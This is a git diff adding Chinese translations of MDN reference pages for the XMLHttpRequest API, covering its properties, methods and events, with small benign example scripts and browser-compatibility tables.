diff --git a/files/zh-cn/web/api/xmlhttprequest/index.html b/files/zh-cn/web/api/xmlhttprequest/index.html new file mode 100644 index 0000000000..4498cb514e --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/index.html @@ -0,0 +1,192 @@ +--- +title: XMLHttpRequest +slug: Web/API/XMLHttpRequest +tags: + - AJAX + - API + - HTTP + - Reference + - Web + - XHR + - XMLHttpRequest +translation_of: Web/API/XMLHttpRequest +--- +
{{DefaultAPISidebar("XMLHttpRequest")}}
+ +

XMLHttpRequest(XHR)对象用于与服务器交互。通过 XMLHttpRequest 可以在不刷新页面的情况下请求特定 URL,获取数据。这允许网页在不影响用户操作的情况下,更新页面的局部内容。XMLHttpRequest 在 {{Glossary("AJAX")}} 编程中被大量使用。

+ +

{{InheritanceDiagram(650, 150)}}

+ +

尽管名称如此,XMLHttpRequest 可以用于获取任何类型的数据,而不仅仅是 XML。它甚至支持 HTTP 以外的协议(包括 file:// 和 FTP),尽管可能受到更多出于安全等原因的限制。

+ +

如果您的通信流程需要从服务器端接收事件或消息数据,请考虑通过 {{domxref("EventSource")}} 接口使用 server-sent events。对于全双工的通信, WebSocket 可能是更好的选择。

+ +

构造函数

+ +
+
{{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}}
+
该构造函数用于初始化一个 XMLHttpRequest 实例对象。在调用下列任何其他方法之前,必须先调用该构造函数,或通过其他方式,得到一个实例对象。
+
+ +

属性

+ +

此接口继承了 {{domxref("XMLHttpRequestEventTarget")}} 和 {{domxref("EventTarget")}} 的属性。

+ +
+
{{domxref("XMLHttpRequest.onreadystatechange")}}
+
readyState 属性发生变化时,调用的 {{domxref("EventHandler")}}。
+
{{domxref("XMLHttpRequest.readyState")}} {{readonlyinline}}
+
返回 一个无符号短整型(unsigned short)数字,代表请求的状态码。
+
{{domxref("XMLHttpRequest.response")}} {{readonlyinline}}
+
返回一个 {{domxref("ArrayBuffer")}}、{{domxref("Blob")}}、{{domxref("Document")}},或 {{domxref("DOMString")}},具体是哪种类型取决于 {{domxref("XMLHttpRequest.responseType")}} 的值。其中包含整个响应实体(response entity body)。
+
{{domxref("XMLHttpRequest.responseText")}} {{readonlyinline}}
+
返回一个 {{domxref("DOMString")}},该 {{domxref("DOMString")}} 包含对请求的响应,如果请求未成功或尚未发送,则返回 null
+
{{domxref("XMLHttpRequest.responseType")}}
+
一个用于定义响应类型的枚举值(enumerated value)。
+
{{domxref("XMLHttpRequest.responseURL")}} {{readonlyinline}}
+
返回经过序列化(serialized)的响应 URL,如果该 URL 为空,则返回空字符串。
+
{{domxref("XMLHttpRequest.responseXML")}} {{readonlyinline}}
+
返回一个 {{domxref("Document")}},其中包含该请求的响应,如果请求未成功、尚未发送或时不能被解析为 XML 或 HTML,则返回 null
+
{{domxref("XMLHttpRequest.status")}} {{readonlyinline}}
+
返回一个无符号短整型(unsigned short)数字,代表请求的响应状态。
+
{{domxref("XMLHttpRequest.statusText")}} {{readonlyinline}}
+
返回一个 {{domxref("DOMString")}},其中包含 HTTP 服务器返回的响应状态。与 {{domxref("XMLHTTPRequest.status")}} 不同的是,它包含完整的响应状态文本(例如,"200 OK")。 +
+

注意:根据 HTTP/2 规范(8.1.2.4 Response Pseudo-Header Fields,响应伪标头字段),HTTP/2 没有定义任何用于携带 HTTP/1.1 状态行中包含的版本(version)或者原因短语(reason phrase)的方法。

+
+
+
+ +
+
{{domxref("XMLHttpRequest.timeout")}}
+
一个无符号长整型(unsigned long)数字,表示该请求的最大请求时间(毫秒),若超出该时间,请求会自动终止。
+
{{domxref("XMLHttpRequestEventTarget.ontimeout")}}
+
当请求超时调用的 {{domxref("EventHandler")}}。{{ gecko_minversion_inline(" 12.0 ")}}
+
{{domxref("XMLHttpRequest.upload")}} {{readonlyinline}}
+
{{domxref("XMLHttpRequestUpload")}},代表上传进度。
+
{{domxref("XMLHttpRequest.withCredentials")}}
+
一个{{domxref("Boolean", "布尔值")}},用来指定跨域 Access-Control 请求是否应当带有授权信息,如 cookie 或授权 header 头。
+
+ +

非标准属性

+ +
+
{{domxref("XMLHttpRequest.channel")}}{{ReadOnlyInline}}
+
一个 {{Interface("nsIChannel")}},对象在执行请求时使用的通道。
+
{{domxref("XMLHttpRequest.mozAnon")}}{{ReadOnlyInline}}
+
一个布尔值,如果为真,请求将在没有 cookie 和身份验证 header 头的情况下发送。
+
{{domxref("XMLHttpRequest.mozSystem")}}{{ReadOnlyInline}}
+
一个布尔值,如果为真,则在请求时不会强制执行同源策略。
+
{{domxref("XMLHttpRequest.mozBackgroundRequest")}}
+
一个布尔值,它指示对象是否是后台服务器端的请求。
+
{{domxref("XMLHttpRequest.mozResponseArrayBuffer")}}{{gecko_minversion_inline("2.0")}} {{obsolete_inline("6")}} {{ReadOnlyInline}}
+
一个 {{jsxref("ArrayBuffer")}},把请求的响应作为一个 JavaScript TypedArray。
+
{{domxref("XMLHttpRequest.multipart")}}{{obsolete_inline("22")}}
+
这是一个 Gecko 专有属性,是一个布尔值,已在 Firefox/Gecko 22 中被删除。请考虑使用 Server-Sent EventWeb Socket、或来自进度事件的 responseText 代替。
+
+ +

事件处理器

+ +

作为 XMLHttpRequest 实例的属性之一,所有浏览器都支持 onreadystatechange

+ +

后来,许多浏览器实现了一些额外的事件(onloadonerroronprogress 等)。详见Using XMLHttpRequest

+ +

更多现代浏览器,包括 Firefox,除了可以设置 on* 属性外,也提供标准的监听器 {{domxref("EventTarget.addEventListener", "addEventListener()")}} API 来监听XMLHttpRequest 事件。

+ +

方法

+ +
+
{{domxref("XMLHttpRequest.abort()")}}
+
如果请求已被发出,则立刻中止请求。
+
{{domxref("XMLHttpRequest.getAllResponseHeaders()")}}
+
以字符串的形式返回所有用 {{Glossary("CRLF")}} 分隔的响应头,如果没有收到响应,则返回 null
+
{{domxref("XMLHttpRequest.getResponseHeader()")}}
+
返回包含指定响应头的字符串,如果响应尚未收到或响应中不存在该报头,则返回 null
+
{{domxref("XMLHttpRequest.open()")}}
+
初始化一个请求。该方法只能在 JavaScript 代码中使用,若要在 native code 中初始化请求,请使用 openRequest()
+
{{domxref("XMLHttpRequest.overrideMimeType()")}}
+
覆写由服务器返回的 MIME 类型。
+
{{domxref("XMLHttpRequest.send()")}}
+
发送请求。如果请求是异步的(默认),那么该方法将在请求发送后立即返回。
+
{{domxref("XMLHttpRequest.setRequestHeader()")}}
+
设置 HTTP 请求头的值。必须在 open() 之后、send() 之前调用 setRequestHeader() 方法。
+
+ +

非标准方法

+ +
+
{{domxref("XMLHttpRequest.init()")}}
+
在 C++ 代码中初始化一个 XHR 对象。 +
警告:该方法不能在 JavaScript 代码中使用。
+
+
{{domxref("XMLHttpRequest.openRequest()")}}
+
初始化一个请求。这个方法只能在原生 C++ 代码中使用;如果用 JavaScript 代码来初始化请求,使用 open() 代替。可参考 open() 的文档。
+
{{domxref("XMLHttpRequest.sendAsBinary()")}}{{deprecated_inline()}}
+
send() 方法的变体,用来发送二进制数据。
+
+ +

事件

+ +
+
{{domxref("XMLHttpRequest/abort_event", "abort")}}
+
当 request 被停止时触发,例如当程序调用 {{domxref("XMLHttpRequest.abort()")}} 时。
+ 也可以使用 {{domxref("XMLHttpRequestEventTarget/onabort", "onabort")}} 属性。
+
{{domxref("XMLHttpRequest/error_event", "error")}}
+
当 request 遭遇错误时触发。
+ 也可以使用 {{domxref("XMLHttpRequestEventTarget/onerror", "onerror")}} 属性
+
{{domxref("XMLHttpRequest/load_event", "load")}}
+
{{domxref("XMLHttpRequest")}}请求成功完成时触发。
+ 也可以使用 {{domxref("XMLHttpRequestEventTarget/onload", "onload")}} 属性.
+
{{domxref("XMLHttpRequest/loadend_event", "loadend")}}
+
当请求结束时触发, 无论请求成功 ( {{domxref("XMLHttpRequest/load_event", "load")}}) 还是失败 ({{domxref("XMLHttpRequest/abort_event", "abort")}} 或 {{domxref("XMLHttpRequest/error_event", "error")}})。
+ 也可以使用 {{domxref("XMLHttpRequestEventTarget/onloadend", "onloadend")}} 属性。
+
{{domxref("XMLHttpRequest/loadstart_event", "loadstart")}}
+
接收到响应数据时触发。
+ 也可以使用 {{domxref("XMLHttpRequestEventTarget/onloadstart", "onloadstart")}} 属性。
+
{{domxref("XMLHttpRequest/progress_event", "progress")}}
+
当请求接收到更多数据时,周期性地触发。
+ 也可以使用 {{domxref("XMLHttpRequestEventTarget/onprogress", "onprogress")}} 属性。
+
{{domxref("XMLHttpRequest/timeout_event", "timeout")}}
+
在预设时间内没有接收到响应时触发。
+ 也可以使用 {{domxref("XMLHttpRequestEventTarget/ontimeout", "ontimeout")}} 属性。
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('XMLHttpRequest')}}{{Spec2('XMLHttpRequest')}}Live standard, latest version
+ +

浏览器兼容性

+ + + +
{{Compat("api.XMLHttpRequest")}}
+ +

参见

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/load_event/index.html b/files/zh-cn/web/api/xmlhttprequest/load_event/index.html new file mode 100644 index 0000000000..47d3470174 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/load_event/index.html @@ -0,0 +1,142 @@ +--- +title: 'XMLHttpRequest: load event' +slug: Web/API/XMLHttpRequest/load_event +tags: + - XMLHttpRequest + - 接口 +translation_of: Web/API/XMLHttpRequest/load_event +--- +
{{APIRef}}
+ +

当一个{{domxref("XMLHttpRequest")}}请求完成的时候会触发load 事件。

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("ProgressEvent")}}
Event handler property{{domxref("XMLHttpRequestEventTarget/onload", "onload")}}
+ +

示例

+ +

在线例子

+ +

HTML

+ +
<div class="controls">
+    <input class="xhr success" type="button" name="xhr" value="Click to start XHR (success)" />
+    <input class="xhr error" type="button" name="xhr" value="Click to start XHR (error)" />
+    <input class="xhr abort" type="button" name="xhr" value="Click to start XHR (abort)" />
+</div>
+
+<textarea readonly class="event-log"></textarea>
+ + + +

JS

+ +
const xhrButtonSuccess = document.querySelector('.xhr.success');
+const xhrButtonError = document.querySelector('.xhr.error');
+const xhrButtonAbort = document.querySelector('.xhr.abort');
+const log = document.querySelector('.event-log');
+
+function handleEvent(e) {
+    log.textContent = log.textContent + `${e.type}: ${e.loaded} bytes transferred\n`;
+}
+
+function addListeners(xhr) {
+    xhr.addEventListener('loadstart', handleEvent);
+    xhr.addEventListener('load', handleEvent);
+    xhr.addEventListener('loadend', handleEvent);
+    xhr.addEventListener('progress', handleEvent);
+    xhr.addEventListener('error', handleEvent);
+    xhr.addEventListener('abort', handleEvent);
+}
+
+function runXHR(url) {
+    log.textContent = '';
+
+    const xhr = new XMLHttpRequest();
+    addListeners(xhr);
+    xhr.open("GET", url);
+    xhr.send();
+    return xhr;
+}
+
+xhrButtonSuccess.addEventListener('click', () => {
+    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg');
+});
+
+xhrButtonError.addEventListener('click', () => {
+    runXHR('https://somewhere.org/i-dont-exist');
+});
+
+xhrButtonAbort.addEventListener('click', () => {
+    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg').abort();
+});
+ +

结果

+ +

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('XMLHttpRequest', '#event-xhr-load')}}{{Spec2('XMLHttpRequest')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequest.load_event")}}

+ +

了解更多

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/mozanon/index.html b/files/zh-cn/web/api/xmlhttprequest/mozanon/index.html new file mode 100644 index 0000000000..82a447bf52 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/mozanon/index.html @@ -0,0 +1,16 @@ +--- +title: XMLHttpRequest.mozAnon +slug: Web/API/XMLHttpRequest/mozAnon +tags: + - API + - Authentication + - Cookies + - Non-standard + - Property + - XMLHttpRequest + - mozAnon +translation_of: Web/API/XMLHttpRequest/mozAnon +--- +
{{draft}}{{APIRef('XMLHttpRequest')}}
+ +

XMLHttpRequest.mozAnon 是布尔类型。如果这个变量为真,则这次请求将不携带cookies或头部认证信息来发送。

diff --git a/files/zh-cn/web/api/xmlhttprequest/mozbackgroundrequest/index.html b/files/zh-cn/web/api/xmlhttprequest/mozbackgroundrequest/index.html new file mode 100644 index 0000000000..f50d7fa2f3 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/mozbackgroundrequest/index.html @@ -0,0 +1,18 @@ +--- +title: XMLHttpRequest.mozBackgroundRequest +slug: Web/API/XMLHttpRequest/mozBackgroundRequest +translation_of: Web/API/XMLHttpRequest/mozBackgroundRequest +--- +

{{draft}}{{APIRef('XMLHttpRequest')}}

+ +
+

Note: Web内容无法使用此方法。 它需要提升权限才能访问。

+
+ +

XMLHttpRequest.mozBackgroundRequest是一个布尔对象,表示object是否为后台的服务请求。 如果为true,则不会将任何加载组与请求关联,并且不会向用户显示安全对话框。

+ +

请求失败时通常会显示安全对话框(例如身份验证或错误证书通知)。

+ +
+

Note: 该属性必须在调用open()之前设置。

+
diff --git a/files/zh-cn/web/api/xmlhttprequest/mozresponsearraybuffer/index.html b/files/zh-cn/web/api/xmlhttprequest/mozresponsearraybuffer/index.html new file mode 100644 index 0000000000..108cb417b2 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/mozresponsearraybuffer/index.html @@ -0,0 +1,12 @@ +--- +title: XMLHttpRequest.mozResponseArrayBuffer +slug: Web/API/XMLHttpRequest/mozResponseArrayBuffer +translation_of: Web/API/XMLHttpRequest/mozResponseArrayBuffer +--- +

{{draft}}{{APIRef('XMLHttpRequest')}}

+ +
+

自Gecko 6以来已过时

+
+ +

这是一个ArrayBuffer响应给这个请求,写为JavaScript类型数组。 如果请求不成功,或者它尚未发送,它就是NULL

diff --git a/files/zh-cn/web/api/xmlhttprequest/mozsystem/index.html b/files/zh-cn/web/api/xmlhttprequest/mozsystem/index.html new file mode 100644 index 0000000000..7e952fcfa9 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/mozsystem/index.html @@ -0,0 +1,10 @@ +--- +title: XMLHttpRequest.mozSystem +slug: Web/API/XMLHttpRequest/mozSystem +translation_of: Web/API/XMLHttpRequest/mozSystem +--- +
{{draft}}{{APIRef('XMLHttpRequest')}}
+ +

mozSystem is a boolean. If true, the same origin policy is not enforced on the request.

+ +

mozSystem 是一个布尔值。如果它被设置为true,那么在请求时就不会强制要求执行同源策略(Same Origin Policy)。

diff --git a/files/zh-cn/web/api/xmlhttprequest/onreadystatechange/index.html b/files/zh-cn/web/api/xmlhttprequest/onreadystatechange/index.html new file mode 100644 index 0000000000..76bd8c6ccf --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/onreadystatechange/index.html @@ -0,0 +1,120 @@ +--- +title: XMLHttpRequest.onreadystatechange +slug: Web/API/XMLHttpRequest/onreadystatechange +tags: + - XHR + - XMLHttpRequest + - 参考 + - 处理程序 + - 属性 + - 接口 +translation_of: Web/API/XMLHttpRequest/onreadystatechange +--- +
{{APIRef}}
+ +

只要 readyState 属性发生变化,就会调用相应的处理函数这个回调函数会被用户线程所调用。XMLHttpRequest.onreadystatechange 会在 {{domxref("XMLHttpRequest")}} 的{{domxref("XMLHttpRequest.readyState", "readyState")}} 属性发生改变时触发 {{event("readystatechange")}} 事件的时候被调用。

+ +
+

警告:这个方法不该用于同步的requests对象,并且不能在内部(C++)代码中使用.

+
+ +

当一个 XMLHttpRequest 请求被 abort() 方法取消时,其对应的 readystatechange 事件不会被触发。

+ +
+

UPDATE: 在下面的浏览器版本中会触发 (Firefox 51.0.1, Opera 43.0.2442.991, Safari 10.0.3 (12602.4.8), Chrome 54.0.2840.71, Edge, IE11). 例子在 here - 重新加载几次页面即可。

+
+ +

语法

+ +
XMLHttpRequest.onreadystatechange = callback;
+ +

取值

+ + + +

示例

+ +
var xhr= new XMLHttpRequest(),
+    method = "GET",
+    url = "https://developer.mozilla.org/";
+
+xhr.open(method, url, true);
+xhr.onreadystatechange = function () {
+  if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
+    console.log(xhr.responseText)
+  }
+}
+xhr.send();
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('XMLHttpRequest', '#handler-xhr-onreadystatechange')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(1)}}{{CompatGeckoDesktop(1.0)}}{{CompatIe(7)}}[1]{{CompatVersionUnknown}}{{CompatSafari(1.2)}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}1.0{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] IE 5 和 6可以通过使用 ActiveXObject() 支持ajax。

diff --git a/files/zh-cn/web/api/xmlhttprequest/open/index.html b/files/zh-cn/web/api/xmlhttprequest/open/index.html new file mode 100644 index 0000000000..431c77fb89 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/open/index.html @@ -0,0 +1,114 @@ +--- +title: XMLHttpRequest.open() +slug: Web/API/XMLHttpRequest/open +tags: + - Reference + - XMLHttpRequest +translation_of: Web/API/XMLHttpRequest/open +--- +

{{APIRef('XMLHttpRequest')}}

+ +

XMLHttpRequest.open() 方法初始化一个请求。该方法要从JavaScript代码使用;从原生代码初始化一个请求,使用openRequest()替代。

+ +
注意:为已激活的请求调用此方法(open()openRequest()已被调用)相当于调用abort()
+ +

语法

+ +
xhrReq.open(method, url);
+xhrReq.open(method, url, async);
+xhrReq.open(method, url, async, user);
+xhrReq.open(method, url, async, user, password);
+
+ +

参数

+ +
+
method
+
要使用的HTTP方法,比如「GET」、「POST」、「PUT」、「DELETE」、等。对于非HTTP(S) URL被忽略。
+
url
+
一个{{domxref("DOMString")}}表示要向其发送请求的URL。
+
async {{optional_inline}}
+
一个可选的布尔参数,表示是否异步执行操作,默认为true。如果值为falsesend()方法直到收到答复前不会返回。如果true,已完成事务的通知可供事件监听器使用。如果multipart属性为true则这个必须为true,否则将引发异常。 +
注意:主线程上的同步请求很容易破坏用户体验,应该避免;实际上,许多浏览器已完全弃用主线程上的同步XHR支持。在 {{domxref("Worker")}}中允许同步请求
+
+
user {{optional_inline}}
+
可选的用户名用于认证用途;默认为null
+
password {{optional_inline}}
+
可选的密码用于认证用途,默认为null
+
+ +

规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#the-open()-method', 'open()')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(1)}}{{ CompatVersionUnknown}}{{CompatIe('5')}}[1]
+ {{CompatIe('7')}}
{{CompatVersionUnknown}}{{CompatSafari('1.2')}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown}}1.0{{CompatVersionUnknown}}{{ CompatVersionUnknown}}{{ CompatVersionUnknown}}{{ CompatVersionUnknown}}
+
+ +

[1] 该特性通过ActiveXObject()实现。Internet Explorer从7开始实现了标准的XMLHttpRequest。

+ +

参见

+ +

使用 XMLHttpRequest

diff --git a/files/zh-cn/web/api/xmlhttprequest/openrequest/index.html b/files/zh-cn/web/api/xmlhttprequest/openrequest/index.html new file mode 100644 index 0000000000..2fdd0ec2a3 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/openrequest/index.html @@ -0,0 +1,8 @@ +--- +title: XMLHttpRequest.openRequest() +slug: Web/API/XMLHttpRequest/openRequest +translation_of: Web/API/XMLHttpRequest/openRequest +--- +

{{APIRef("XMLHttpRequest")}}{{non-standard_header}}

+ +

此Mozilla特定的方法仅在特权代码中可用, 且仅能从C++上下文中调用以初始化 XMLHttpRequest.若想要从JavaScript代码初始化一个request,请使用标准的 {{domxref("XMLHttpRequest.open", "open()")}} 方法.

diff --git a/files/zh-cn/web/api/xmlhttprequest/overridemimetype/index.html b/files/zh-cn/web/api/xmlhttprequest/overridemimetype/index.html new file mode 100644 index 0000000000..1a13943abf --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/overridemimetype/index.html @@ -0,0 +1,68 @@ +--- +title: XMLHttpRequest.overrideMimeType() +slug: Web/API/XMLHttpRequest/overrideMimeType +translation_of: Web/API/XMLHttpRequest/overrideMimeType +--- +
XMLHttpRequest 的 overrideMimeType 方法是指定一个MIME类型用于替代服务器指定的类型,使服务端响应信息中传输的数据按照该指定MIME类型处理。例如强制使流方式处理为"text/xml"类型处理时会被使用到,即使服务器在响应头中并没有这样指定。此方法必须在send方法之前调用方为有效。
+ +

Syntax

+ +
XMLHttpRequest.overrideMimeType(mimeType)
+ +

Parameters

+ +
+
mimeType
+
一个 {{domxref("DOMString")}} 指定具体的MIME类型去代替有服务器指定的MIME类型. 如果服务器没有指定类型,那么 XMLHttpRequest 将会默认为 "text/xml".
+
+ +

Return value

+ +

undefined.

+ +

Example

+ +

这个样例指定Content-Type为“text/plain",为接受的数据重写ContentType

+ +
+

Note:  如果服务器没有指定一个Content-Type 头, {{domxref("XMLHttpRequest")}} 默认MIME类型为"text/xml". 如果接受的数据不是有效的XML,将会出现格”格式不正确“的错误。你能够通过调用 overrideMimeType() 指定各种类型来避免这种情况。

+
+ +
// Interpret the received data as plain text
+
+req = new XMLHttpRequest();
+req.overrideMimeType("text/plain");
+req.addEventListener("load", callback, false);
+req.open("get", url);
+req.send();
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#the-overrideMimeType()-method', 'overrideMimeType()')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

Browser compatibility

+ + + +

{{Compat("api.XMLHttpRequest.overrideMimeType")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/readystate/index.html b/files/zh-cn/web/api/xmlhttprequest/readystate/index.html new file mode 100644 index 0000000000..c47030c9c8 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/readystate/index.html @@ -0,0 +1,109 @@ +--- +title: XMLHttpRequest.readyState +slug: Web/API/XMLHttpRequest/readyState +tags: + - AJAX + - XMLHttpRequest +translation_of: Web/API/XMLHttpRequest/readyState +--- +

{{APIRef('XMLHttpRequest')}}

+ +

XMLHttpRequest.readyState 属性返回一个 XMLHttpRequest  代理当前所处的状态。一个 XHR 代理总是处于下列状态中的一个:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
状态描述
0UNSENT代理被创建,但尚未调用 open() 方法。
1OPENEDopen() 方法已经被调用。
2HEADERS_RECEIVEDsend() 方法已经被调用,并且头部和状态已经可获得。
3LOADING下载中; responseText 属性已经包含部分数据。
4DONE下载操作已完成。
+ +
+
UNSENT
+
XMLHttpRequest 代理已被创建, 但尚未调用 open() 方法。
+
OPENED
+
open() 方法已经被触发。在这个状态中,可以通过  setRequestHeader() 方法来设置请求的头部, 可以调用 send() 方法来发起请求。
+
HEADERS_RECEIVED
+
send() 方法已经被调用,响应头也已经被接收。
+
LOADING
+
响应体部分正在被接收。如果 responseType 属性是“text”或空字符串, responseText 将会在载入的过程中拥有部分响应数据。
+
DONE
+
请求操作已经完成。这意味着数据传输已经彻底完成或失败。
+
+ +
+

在IE中,状态有着不同的名称,并不是 UNSENTOPENEDHEADERS_RECEIVEDLOADING 和 DONE, 而是 READYSTATE_UNINITIALIZED (0),READYSTATE_LOADING (1) , READYSTATE_LOADED (2) , READYSTATE_INTERACTIVE (3) 和 READYSTATE_COMPLETE (4) 。

+
+ +

示例

+ +
var xhr = new XMLHttpRequest();
+console.log('UNSENT', xhr.readyState); // readyState 为 0
+
+xhr.open('GET', '/api', true);
+console.log('OPENED', xhr.readyState); // readyState 为 1
+
+xhr.onprogress = function () {
+    console.log('LOADING', xhr.readyState); // readyState 为 3
+};
+
+xhr.onload = function () {
+    console.log('DONE', xhr.readyState); // readyState 为 4
+};
+
+xhr.send(null);
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('XMLHttpRequest', '#states')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequest.readyState")}}

+ +
 
diff --git a/files/zh-cn/web/api/xmlhttprequest/response/index.html b/files/zh-cn/web/api/xmlhttprequest/response/index.html new file mode 100644 index 0000000000..71ecacaa8c --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/response/index.html @@ -0,0 +1,93 @@ +--- +title: XMLHttpRequest.response +slug: Web/API/XMLHttpRequest/response +tags: + - AJAX + - API + - XHR + - XMLHttpRequest + - 加载数据 + - 参考 + - 只读 + - 响应 + - 属性 + - 服务器 + - 获取内容 + - 获取数据 + - 读取数据 +translation_of: Web/API/XMLHttpRequest/response +--- +
{{APIRef('XMLHttpRequest')}}
+ +

{{domxref("XMLHttpRequest")}} response 属性返回响应的正文。返回的类型为 {{domxref("ArrayBuffer")}} 、 {{domxref("Blob")}} 、 {{domxref("Document")}} 、 JavaScript {{jsxref("Object")}} 或 {{domxref("DOMString")}} 中的一个。 这取决于 {{domxref("XMLHttpRequest.responseType", "responseType")}} 属性。

+ +

语法

+ +
var body = XMLHttpRequest.response;
+
+ +

取值

+ +

一个对象,其类型取决于 {{domxref("XMLHttpRequest.responseType", "responseType")}} 的值。你可以尝试设置 responseType 的值,以便通过特定的类型请求数据。 responseType 要在调用 {{domxref("XMLHttpRequest.open", "open()")}} 初始化请求之后调用,并且要在调用 {{domxref("XMLHttpRequest.send", "send()")}} 发送请求到服务器之前调用。

+ +

如果请求尚未完成或未成功,则取值是 null 。例外的,读取文本数据时如果将 responseType 的值设置成"text"或空字符串("")且当请求状态还在是 LOADING {{domxref("XMLHttpRequest.readyState", "readyState")}} (3) 时,response 包含到目前为止该请求已经取得的内容。

+ +

响应的类型如下所示。

+ +

{{page("/zh-CN/docs/Web/API/XMLHttpRequestResponseType", "取值")}}

+ +
+
+ +

例子

+ +

此例子提供了一个方法—— load() ,它可以从服务器加载和处理页面。它通过创建一个 {{domxref("XMLHttpRequest")}} 对象并为 {{event("readystatechange")}} 事件创建一个监听器。这样的话,当 readyState 变成 DONE (4) 时就会获取 response 并将其传递给 load() 中提供的回调函数。

+ +

返回的内容会被作为原始文本数据处理 (因为这里没有覆盖  {{domxref("XMLHttpRequest.responseType", "responseType")}} 的默认值)。

+ +
var url = 'somePage.html'; //一个本地页面
+
+function load(url, callback) {
+  var xhr = new XMLHttpRequest();
+
+  xhr.onreadystatechange = function() {
+    if (xhr.readyState === 4) {
+      callback(xhr.response);
+    }
+  }
+
+  xhr.open('GET', url, true);
+  xhr.send('');
+}
+
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('XMLHttpRequest', '#the-response-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequest.response")}}

+ +

了解更多

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/responsetext/index.html b/files/zh-cn/web/api/xmlhttprequest/responsetext/index.html new file mode 100644 index 0000000000..5b6708acd4 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/responsetext/index.html @@ -0,0 +1,114 @@ +--- +title: XMLHttpRequest.responseText +slug: Web/API/XMLHttpRequest/responseText +tags: + - XMLHttpRequest.responseText +translation_of: Web/API/XMLHttpRequest/responseText +--- +
{{draft}}
+ +
{{APIRef('XMLHttpRequest')}}
+ +

XMLHttpRequest.responseText 在一个请求被发送后,从服务器端返回文本。

+ +

语法

+ +
var resultText = XMLHttpRequest.responseText;
+ +

取值

+ +

{{domxref("DOMString")}} 是XMLHttpRequest 返回的纯文本的值。当{{domxref("DOMString")}} 为null时,表示请求失败了。当{{domxref("DOMString")}} 为""时,表示这个请求还没有被{{domxref("XMLHttpRequest.send", "send()")}}

+ +

当处理一个异步request的时候,尽管当前请求并没有结束,responseText的返回值是当前从后端收到的内容。

+ +

当请求状态{{domxref("XMLHttpRequest.readyState", "readyState")}}变为{{domxref("XMLHttpRequest.DONE", "XMLHttpRequest.DONE")}} (4),且{{domxref("XMLHttpRequest.status", "status")}}值为200("OK")时,responseText是全部后端的返回数据

+ +

例子

+ +
var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+// If specified, responseType must be empty string or "text"
+xhr.responseType = 'text';
+
+xhr.onload = function () {
+    if (xhr.readyState === xhr.DONE) {
+        if (xhr.status === 200) {
+            console.log(xhr.response);
+            console.log(xhr.responseText);
+        }
+    }
+};
+
+xhr.send(null);
+ +

格式

+ + + + + + + + + + + + + + +
格式状态备注
{{SpecName('XMLHttpRequest', '#the-responsetext-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}[1]{{CompatUnknown}}{{CompatUnknown}}
+
+ +
